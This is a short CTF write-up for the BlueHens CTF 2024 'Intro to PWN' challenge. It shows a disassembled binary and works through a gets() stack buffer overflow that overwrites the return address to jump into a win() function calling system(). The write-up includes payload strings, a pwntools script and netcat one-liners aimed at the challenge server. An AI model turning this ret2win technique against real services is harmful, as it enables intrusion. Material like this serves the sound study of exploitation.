2024年11月10日
BlueHens CTF 2024
Training Problem: Intro to PWN
nc 0.cloud.chals.io 13545
0000000000401196 <win>: 401196: f3 0f 1e fa endbr64 40119a: 55 push %rbp 40119b: 48 89 e5 mov %rsp,%rbp 40119e: 48 8d 05 5f 0e 00 00 lea 0xe5f(%rip),%rax # 402004 <_IO_stdin_used+0x4> 4011a5: 48 89 c7 mov %rax,%rdi 4011a8: e8 d3 fe ff ff call 401080 <system@plt> 4011ad: 90 nop 4011ae: 5d pop %rbp 4011af: c3 ret 00000000004011b0 <vuln>: 4011b0: f3 0f 1e fa endbr64 4011b4: 55 push %rbp 4011b5: 48 89 e5 mov %rsp,%rbp 4011b8: 48 83 ec 30 sub $0x30,%rsp 4011bc: 48 8d 05 49 0e 00 00 lea 0xe49(%rip),%rax # 40200c <_IO_stdin_used+0xc> 4011c3: 48 89 c7 mov %rax,%rdi 4011c6: e8 a5 fe ff ff call 401070 <puts@plt> 4011cb: 48 8d 45 d0 lea -0x30(%rbp),%rax 4011cf: 48 89 c7 mov %rax,%rdi 4011d2: b8 00 00 00 00 mov $0x0,%eax 4011d7: e8 b4 fe ff ff call 401090 <gets@plt> 4011dc: 90 nop 4011dd: c9 leave 4011de: c3 ret 00000000004011df <main>: 4011df: f3 0f 1e fa endbr64 4011e3: 55 push %rbp 4011e4: 48 89 e5 mov %rsp,%rbp 4011e7: 48 8b 05 82 2e 00 00 mov 0x2e82(%rip),%rax # 404070 <stdin@GLIBC_2.2.5> 4011ee: b9 01 00 00 00 mov $0x1,%ecx 4011f3: ba 02 00 00 00 mov $0x2,%edx 4011f8: be 00 00 00 00 mov $0x0,%esi 4011fd: 48 89 c7 mov %rax,%rdi 401200: e8 9b fe ff ff call 4010a0 <setvbuf@plt> 401205: 48 8b 05 54 2e 00 00 mov 0x2e54(%rip),%rax # 404060 <stdout@GLIBC_2.2.5> 40120c: b9 01 00 00 00 mov $0x1,%ecx 401211: ba 02 00 00 00 mov $0x2,%edx 401216: be 00 00 00 00 mov $0x0,%esi 40121b: 48 89 c7 mov %rax,%rdi 40121e: e8 7d fe ff ff call 4010a0 <setvbuf@plt> 401223: 48 8b 05 56 2e 00 00 mov 0x2e56(%rip),%rax # 404080 <stderr@GLIBC_2.2.5> 40122a: b9 01 00 00 00 mov $0x1,%ecx 40122f: ba 02 00 00 00 mov $0x2,%edx 401234: be 00 00 00 00 mov $0x0,%esi 401239: 48 89 c7 mov %rax,%rdi 40123c: e8 5f fe ff ff call 4010a0 <setvbuf@plt> 401241: b8 00 00 00 00 mov $0x0,%eax 401246: e8 65 ff ff ff call 4011b0 <vuln> 40124b: b8 00 00 00 00 mov $0x0,%eax 401250: 5d pop %rbp 401251: c3 ret
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x90\x90\x90\x90\x90\x90\x90\x90\x9e\x11\x40
401196
\x96\x11\x40\x00
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x90\x90\x90\x90\xc0\x11\x40\x00 \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x90\x90\x90\x90\xc0\x11\x40\x00 \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x90\x90\x90\x90\xc0\x11\x40\x00
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xc0\x11\x40\x00
take note of: 0x7ffff7e16f5b <do_system+016b> movaps XMMWORD PTR [rsp+0x50], xmm0
you need to add another 4 bytes to the address because of movaps.
from pwn import *
context.log_level = 'debug'
binary_path = "./pwnme"
elf = ELF(binary_path)
web = remote("0.cloud.chals.io", 13545)
print(web.recv())
web.sendline(b"A"*48 + b"\x90"*8 + b"\x9e\x11\x40")
web.interactive()
i dont get why this works but not using echo -ne "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x90\x90\x90\x90\x90\x90\x90\x90\x9e\x11\x40" | nc 0.cloud.chals.io 13545
(echo -ne "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x90\x90\x90\x90\x90\x90\x90\x90\x9e\x11\x40" && cat) | nc 0.cloud.chals.io 13545
don’t use -n
flag, removes \x0a
byte at the end